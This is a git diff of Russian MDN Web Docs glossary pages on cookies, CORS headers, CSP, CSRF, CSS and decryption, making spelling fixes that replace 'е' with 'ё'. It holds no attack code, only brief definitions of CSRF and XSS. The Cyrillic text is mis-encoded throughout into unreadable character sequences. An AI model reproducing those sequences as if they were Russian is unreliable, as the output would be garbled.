Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π»</span><span>, отклонял или</span> <span>удалял куки</span><span>.</span></span></p>
+<p><span id="result_box" lang="ru"><span>Π€Π°ΠΉΠ»Ρ‹ Cookie</span> <span>ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ</span> <span class="alt-edited">для пСрсонализации </span> <span class="alt-edited">Ρ€Π°Π±ΠΎΡ‚Ρ‹ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ</span> <span>с Π²Π΅Π±-сайтом</span></span> . <span id="result_box" lang="ru"><span>Они ΠΌΠΎΠ³ΡƒΡ‚Β ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ</span> <span>прСдпочтСния ΠΈΠ»ΠΈ</span> <span class="alt-edited">Π²Π²Π΅Π΄Ρ‘Π½Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅</span>Β <span>ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ</span> <span>ΠΏΡ€ΠΈ Ρ€Π°Π±ΠΎΡ‚Π΅ с</span>Β <span class="alt-edited">этим вСб сайтом </span></span>. <span id="result_box" lang="ru"><span>ΠŸΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΌΠΎΠΆΠ΅Ρ‚</span> <span>Π½Π°ΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ свой</span> <span class="alt-edited">Π²Π΅Π±-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ</span><span>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π»</span><span>, отклонял или</span> <span>удалял куки</span><span>.</span></span></p>
<p><span id="result_box" lang="ru"><span>Π€Π°ΠΉΠ»Ρ‹ Cookie</span> <span>ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ установлСны</span> <span>ΠΈ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½Ρ‹</span> <span>Π½Π° ΡƒΡ€ΠΎΠ²Π½Π΅ сСрвСра</span> <span class="alt-edited">с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° Set-Cookie</span> <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies">HTTP</a> <span>ΠΈΠ»ΠΈ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ</span> <span>JavaScript</span><span>, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ</span></span> <code><a href="/en-US/docs/Web/API/Document/cookie">document.cookie</a></code>.</p>
diff --git a/files/ru/glossary/cors/index.html b/files/ru/glossary/cors/index.html
index 8af8e4ec96..2dce66779a 100644
--- a/files/ru/glossary/cors/index.html
+++ b/files/ru/glossary/cors/index.html
@@ -21,21 +21,21 @@ original_slug: Π‘Π»ΠΎΠ²Π°Ρ€ΡŒ/CORS
<dl>
<dt>{{HTTPHeader("Access-Control-Allow-Origin")}}</dt>
- <dd>Π£ΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ Π»ΠΈ Ρ‚Π°ΠΊΠΎΠΉ запрос для рСсурсов ΠΈΠ· Π΄Π°Π½Π½ΠΎΠ³ΠΎ источника.</dd>
+ <dd>Π£ΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ€Π°Π·Ρ€Π΅ΡˆΡ‘Π½ Π»ΠΈ Ρ‚Π°ΠΊΠΎΠΉ запрос для рСсурсов ΠΈΠ· Π΄Π°Π½Π½ΠΎΠ³ΠΎ источника.</dd>
<dt>{{HTTPHeader("Access-Control-Allow-Credentials")}}</dt>
- <dd>Π£ΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ Π»ΠΈ ΠΎΡ‚Π²Π΅Ρ‚ Π½Π° запрос Π² случаС, Ссли credentials flag выставлСн Π² <code>true</code>.</dd>
+ <dd>Π£ΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ€Π°Π·Ρ€Π΅ΡˆΡ‘Π½ Π»ΠΈ ΠΎΡ‚Π²Π΅Ρ‚ Π½Π° запрос Π² случаС, Ссли credentials flag выставлСн Π² <code>true</code>.</dd>
<dt>{{HTTPHeader("Access-Control-Allow-Headers")}}</dt>
- <dd>Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π² ΠΎΡ‚Π²Π΅Ρ‚Π΅ Π½Π° запрос Π² случаС "ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»Π΅Ρ‚Π½ΠΎΠΉ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ"({{glossary("preflight request")}}) - ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ, ΠΊΠ°ΠΊΠΈΠ΅ ΠΈΠ· HTTPΒ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ² ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½Ρ‹ для запроса.</dd>
+ <dd>Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π² ΠΎΡ‚Π²Π΅Ρ‚Π΅ Π½Π° запрос Π² случаС "ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»Ρ‘Ρ‚Π½ΠΎΠΉ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ"({{glossary("preflight request")}}) - ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ, ΠΊΠ°ΠΊΠΈΠ΅ ΠΈΠ· HTTPΒ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ² ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½Ρ‹ для запроса.</dd>
<dt>{{HTTPHeader("Access-Control-Allow-Methods")}}</dt>
- <dd>Π£ΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄ ΠΈΠ»ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½Ρ‹ для доступа ΠΊ рСсурсу Π² ΠΎΡ‚Π²Π΅Ρ‚ Π½Π° "ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»Π΅Ρ‚Π½Ρ‹ΠΉ запрос"({{glossary("preflight request")}}).</dd>
+ <dd>Π£ΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄ ΠΈΠ»ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½Ρ‹ для доступа ΠΊ рСсурсу Π² ΠΎΡ‚Π²Π΅Ρ‚ Π½Π° "ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»Ρ‘Ρ‚Π½Ρ‹ΠΉ запрос"({{glossary("preflight request")}}).</dd>
<dt>{{HTTPHeader("Access-Control-Expose-Headers")}}</dt>
<dd>Π£ΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, ΠΊΠ°ΠΊΠΈΠ΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ прСдоставлСны ΠΊΠ°ΠΊ Ρ‡Π°ΡΡ‚ΡŒ ΠΎΡ‚Π²Π΅Ρ‚Π°, пСрСчисляя ΠΈΡ… ΠΈΠΌΠ΅Π½Π°.</dd>
<dt>{{HTTPHeader("Access-Control-Max-Age")}}</dt>
- <dd>Π£ΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, ΠΊΠ°ΠΊ Π΄ΠΎΠ»Π³ΠΎ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ Π·Π°ΠΊΠ΅ΡˆΠΈΡ€ΠΎΠ²Π°Π½Ρ‹ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Ρ‹ "ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»Π΅Ρ‚Π½ΠΎΠ³ΠΎ запроса"({{glossary("preflight request")}}).</dd>
+ <dd>Π£ΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, ΠΊΠ°ΠΊ Π΄ΠΎΠ»Π³ΠΎ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ Π·Π°ΠΊΠ΅ΡˆΠΈΡ€ΠΎΠ²Π°Π½Ρ‹ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Ρ‹ "ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»Ρ‘Ρ‚Π½ΠΎΠ³ΠΎ запроса"({{glossary("preflight request")}}).</dd>
<dt>{{HTTPHeader("Access-Control-Request-Headers")}}</dt>
- <dd>Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для исполнСния "ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»Π΅Ρ‚Π½ΠΎΠ³ΠΎ запроса"({{glossary("preflight request")}}), Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ сСрвСру, ΠΊΠ°ΠΊΠΈΠ΅ ΠΈΠ· HTTPΒ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ² Π±ΡƒΠ΄ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Π²ΠΎ врСмя Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ запроса.</dd>
+ <dd>Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для исполнСния "ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»Ρ‘Ρ‚Π½ΠΎΠ³ΠΎ запроса"({{glossary("preflight request")}}), Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ сСрвСру, ΠΊΠ°ΠΊΠΈΠ΅ ΠΈΠ· HTTPΒ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ² Π±ΡƒΠ΄ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Π²ΠΎ врСмя Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ запроса.</dd>
<dt>{{HTTPHeader("Access-Control-Request-Method")}}</dt>
- <dd>Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для исполнСния "ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»Π΅Ρ‚Π½ΠΎΠ³ΠΎ запроса"({{glossary("preflight request")}}), Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ сСрвСру, ΠΊΠ°ΠΊΠΈΠ΅ <a href="/en-US/docs/Web/HTTP/Methods">HTTPΒ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹</a> Π±ΡƒΠ΄ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Π²ΠΎ врСмя Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ запроса.</dd>
+ <dd>Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для исполнСния "ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»Ρ‘Ρ‚Π½ΠΎΠ³ΠΎ запроса"({{glossary("preflight request")}}), Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ сСрвСру, ΠΊΠ°ΠΊΠΈΠ΅ <a href="/en-US/docs/Web/HTTP/Methods">HTTPΒ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹</a> Π±ΡƒΠ΄ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Π²ΠΎ врСмя Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ запроса.</dd>
<dt>{{HTTPHeader("Origin")}}</dt>
<dd>Π£ΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, ΠΎΡ‚ΠΊΡƒΠ΄Π° производится запрос.</dd>
</dl>
diff --git a/files/ru/glossary/csp/index.html b/files/ru/glossary/csp/index.html
index a6cf99cbbd..7bf6b6af5f 100644
--- a/files/ru/glossary/csp/index.html
+++ b/files/ru/glossary/csp/index.html
@@ -9,7 +9,7 @@ tags:
translation_of: Glossary/CSP
original_slug: Π‘Π»ΠΎΠ²Π°Ρ€ΡŒ/CSP
---
-<p>CSP (<a href="../Web/HTTP/CSP">ΠŸΠΎΠ»ΠΈΡ‚ΠΈΠΊΠ° бСзопасности ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°</a>) ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для обнаруТСния ΠΈ смягчСния ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… Ρ‚ΠΈΠΏΠΎΠ² Π°Ρ‚Π°ΠΊ, связанных с Π²Π΅Π±-сайтами, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ {{Glossary("XSS")}} ΠΈ ΠΈΠ½ΡŠΠ΅ΠΊΡ†ΠΈΠΈ Π΄Π°Π½Π½Ρ‹Ρ….</p>
+<p>CSP (<a href="../Web/HTTP/CSP">ΠŸΠΎΠ»ΠΈΡ‚ΠΈΠΊΠ° бСзопасности ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°</a>) ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для обнаруТСния ΠΈ смягчСния ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… Ρ‚ΠΈΠΏΠΎΠ² Π°Ρ‚Π°ΠΊ, связанных с Π²Π΅Π±-сайтами, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ {{Glossary("XSS")}} ΠΈ ΠΈΠ½ΡŠΠ΅ΠΊΡ†ΠΈΠΈ Π΄Π°Π½Π½Ρ‹Ρ….</p>
<p>РСализация основана Π½Π° Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ΅ {{Glossary ("HTTP")}} с ΠΈΠΌΠ΅Π½Π΅ΠΌ {{HTTPHeader("Content-Security-Policy")}}.</p>
diff --git a/files/ru/glossary/csrf/index.html b/files/ru/glossary/csrf/index.html
index c6776098da..db94e2d834 100644
--- a/files/ru/glossary/csrf/index.html
+++ b/files/ru/glossary/csrf/index.html
@@ -4,7 +4,7 @@ slug: Glossary/CSRF
translation_of: Glossary/CSRF
original_slug: Π‘Π»ΠΎΠ²Π°Ρ€ΡŒ/CSRF
---
-<p><strong>CSRF</strong>Β (Cross-Site Request Forgery, рус. "ΠœΠ΅ΠΆΡΠ°ΠΉΡ‚ΠΎΠ²Π°Ρ ΠΏΠΎΠ΄Π΄Π΅Π»ΠΊΠ° запроса") - Π²ΠΈΠ΄ Π°Ρ‚Π°ΠΊΠΈ, ΠΏΡ€ΠΈ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ враТСский сайт Π²Ρ‹Π΄Π°Π΅Ρ‚ сСбя Π·Π° Π΄ΠΎΠ²Π΅Ρ€Π΅Π½Π½ΠΎΠ³ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ ΠΈ отсылаСт Π½Π° сайт Π½Π΅ΠΆΠ΅Π»Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹. Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ сдСлано, ΠΊ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ, с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ Β ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ²Β Π² {{glossary("URL")}} Π² ΠΊΠΎΠ½Ρ†Π΅ ссылки с Ρ†Π΅Π»ΡŒΡŽ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄Π° ΠΊΡƒΠ΄Π°-Π»ΠΈΠ±ΠΎ Π² Π΄Ρ€ΡƒΠ³ΠΎΠ΅ мСсто.</p>
+<p><strong>CSRF</strong>Β (Cross-Site Request Forgery, рус. "ΠœΠ΅ΠΆΡΠ°ΠΉΡ‚ΠΎΠ²Π°Ρ ΠΏΠΎΠ΄Π΄Π΅Π»ΠΊΠ° запроса") - Π²ΠΈΠ΄ Π°Ρ‚Π°ΠΊΠΈ, ΠΏΡ€ΠΈ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ враТСский сайт Π²Ρ‹Π΄Π°Ρ‘Ρ‚ сСбя Π·Π° Π΄ΠΎΠ²Π΅Ρ€Π΅Π½Π½ΠΎΠ³ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ ΠΈ отсылаСт Π½Π° сайт Π½Π΅ΠΆΠ΅Π»Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹. Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ сдСлано, ΠΊ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ, с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ Β ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ²Β Π² {{glossary("URL")}} Π² ΠΊΠΎΠ½Ρ†Π΅ ссылки с Ρ†Π΅Π»ΡŒΡŽ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄Π° ΠΊΡƒΠ΄Π°-Π»ΠΈΠ±ΠΎ Π² Π΄Ρ€ΡƒΠ³ΠΎΠ΅ мСсто.</p>
<h2 id="Learn_more">Learn more</h2>
diff --git a/files/ru/glossary/css/index.html b/files/ru/glossary/css/index.html
index 393f03fda6..860083f19d 100644
--- a/files/ru/glossary/css/index.html
+++ b/files/ru/glossary/css/index.html
@@ -10,9 +10,9 @@ original_slug: Π‘Π»ΠΎΠ²Π°Ρ€ΡŒ/CSS
---
<p><span class="seoSummary"><strong>CSS</strong> (Cascading Style Sheets, ΠΈΠ»ΠΈ каскадныС Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ стилСй) - это Π΄Π΅ΠΊΠ»Π°Ρ€Π°Ρ‚ΠΈΠ²Π½Ρ‹ΠΉ язык, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΎΡ‚Π²Π΅Ρ‡Π°Π΅Ρ‚ Π·Π° Ρ‚ΠΎ, ΠΊΠ°ΠΊ страницы выглядят Π² {{glossary("browser","Π²Π΅Π± Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅")}}. </span>CSS стили содСрТат свойства ΠΈ ΠΈΡ… значСния, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚, ΠΊΠ°ΠΊ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ сайт.</p>
-<p>CSS ΠΎΠ΄Π½Π° ΠΈΠ· ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Ρ… Web Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΉ, наряду с {{Glossary("HTML")}} ΠΈ {{Glossary("JavaScript")}}. Как ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ CSS ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для опрСдСлСния стилСй {{Glossary("Element","HTML элСмСнтов")}}, Π½ΠΎ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ совмСстно с Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ языками Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ, Ρ‚Π°ΠΊΠΈΠΌΠΈ ΠΊΠ°ΠΊ {{Glossary("SVG")}} ΠΈΠ»ΠΈ {{Glossary("XML")}}.</p>
+<p>CSS ΠΎΠ΄Π½Π° ΠΈΠ· ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Ρ… Web Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΉ, наряду с {{Glossary("HTML")}} ΠΈ {{Glossary("JavaScript")}}. Как ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ CSS ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для опрСдСлСния стилСй {{Glossary("Element","HTML элСмСнтов")}}, Π½ΠΎ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€ΠΈΠΌΠ΅Π½Ρ‘Π½ совмСстно с Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ языками Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ, Ρ‚Π°ΠΊΠΈΠΌΠΈ ΠΊΠ°ΠΊ {{Glossary("SVG")}} ΠΈΠ»ΠΈ {{Glossary("XML")}}.</p>
-<p>CSS ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ состоит ΠΈΠ· {{Glossary("selector","сСлСктора")}} ΠΈ Π½Π°Π±ΠΎΡ€Π° {{Glossary("CSS Property","свойств")}} с ΠΈΡ… значСниями. Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ всС HTML ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„Ρ‹ Π±ΡƒΠ΄ΡƒΡ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ тСкст ΠΆΠ΅Π»Ρ‚ΠΎΠ³ΠΎΒ Ρ†Π²Π΅Ρ‚Π°Β Π½Π° Ρ‡Π΅Ρ€Π½ΠΎΠΌ Ρ„ΠΎΠ½Π΅:</p>
+<p>CSS ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ состоит ΠΈΠ· {{Glossary("selector","сСлСктора")}} ΠΈ Π½Π°Π±ΠΎΡ€Π° {{Glossary("CSS Property","свойств")}} с ΠΈΡ… значСниями. Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ всС HTML ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„Ρ‹ Π±ΡƒΠ΄ΡƒΡ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ тСкст ΠΆΡ‘Π»Ρ‚ΠΎΠ³ΠΎΒ Ρ†Π²Π΅Ρ‚Π°Β Π½Π° Ρ‡Ρ‘Ρ€Π½ΠΎΠΌ Ρ„ΠΎΠ½Π΅:</p>
<pre class="brush: css notranslate">/* Π‘Π΅Π»Π΅ΠΊΡ‚ΠΎΡ€ "p" ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π΄Π°Π½Π½ΠΎΠ΅ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΎ ΠΊΠΎ всСм ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„Π°ΠΌ Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅ */
p {
diff --git a/files/ru/glossary/decryption/index.html b/files/ru/glossary/decryption/index.html
index 2e8da37c07..d97e82bba7 100644
--- a/files/ru/glossary/decryption/index.html
+++ b/files/ru/glossary/decryption/index.html
@@ -6,13 +6,13 @@ original_slug: Π‘Π»ΠΎΠ²Π°Ρ€ΡŒ/Π”Π΅ΡˆΠΈΡ„Ρ€ΠΎΠ²Π°Π½ΠΈΠ΅
---
<p>Π’ {{glossary("cryptography")}}, <strong>Π΄Π΅ΡˆΠΈΡ„Ρ€ΠΎΠ²Π°Π½ΠΈΠ΅</strong><strong>Β </strong>это конвСртация {{glossary("ciphertext")}} Π²Β {{glossary("cleartext")}}.</p>
-<p>Π Π°ΡΡˆΠΈΡ„Ρ€ΠΎΠ²ΠΊΠ° это криптографичСская основа: это трансформация ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ тСкста Π² простой тСкст ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ криптографичСского Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌΠ° ΠΏΠΎΠ΄ Π½Π°Π·Π²Π°Π½ΠΈΠ΅ΠΌΒ {{glossary("cipher")}}. Π¨ΠΈΡ„Ρ€ΠΎΠ²Π°Π½ΠΈΠ΅, ΠΊΠ°ΠΊ ΠΈ Π΄Π΅ΡˆΠΈΡ„Ρ€ΠΎΠ²Π°Π½ΠΈΠ΅ Π² соврСмСнных способах кодирования осущСствляСтся благодаря ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΌΡƒ Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌΡƒ ΠΈ сСкрСтному элСмСнту:Β {{glossary("key")}}. Если Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ доступСн ΠΏΡƒΠ±Π»ΠΈΡ‡Π½ΠΎ, Ρ‚ΠΎ ΠΏΠΎ сообраТСниям бСзопасности, ΠΊΠ»ΡŽΡ‡ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΎΡΡ‚Π°Π²Π°Ρ‚ΡŒΡΡ Π² Ρ‚Π°ΠΉΠ½Π΅.</p>
+<p>Π Π°ΡΡˆΠΈΡ„Ρ€ΠΎΠ²ΠΊΠ° это криптографичСская основа: это трансформация ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ тСкста Π² простой тСкст ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ криптографичСского Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌΠ° ΠΏΠΎΠ΄ Π½Π°Π·Π²Π°Π½ΠΈΠ΅ΠΌΒ {{glossary("cipher")}}. Π¨ΠΈΡ„Ρ€ΠΎΠ²Π°Π½ΠΈΠ΅, ΠΊΠ°ΠΊ ΠΈ Π΄Π΅ΡˆΠΈΡ„Ρ€ΠΎΠ²Π°Π½ΠΈΠ΅ Π² соврСмСнных способах кодирования осущСствляСтся благодаря ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΌΡƒ Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌΡƒ ΠΈ сСкрСтному элСмСнту:Β {{glossary("key")}}. Если Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ доступСн ΠΏΡƒΠ±Π»ΠΈΡ‡Π½ΠΎ, Ρ‚ΠΎ ΠΏΠΎ сообраТСниям бСзопасности, ΠΊΠ»ΡŽΡ‡ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΎΡΡ‚Π°Π²Π°Ρ‚ΡŒΡΡ Π² Ρ‚Π°ΠΉΠ½Π΅.</p>
<p>Β </p>
<p><img alt="The decryption primitive." src="https://mdn.mozillademos.org/files/9817/Decryption.png" style="height: 81px; width: 485px;"></p>
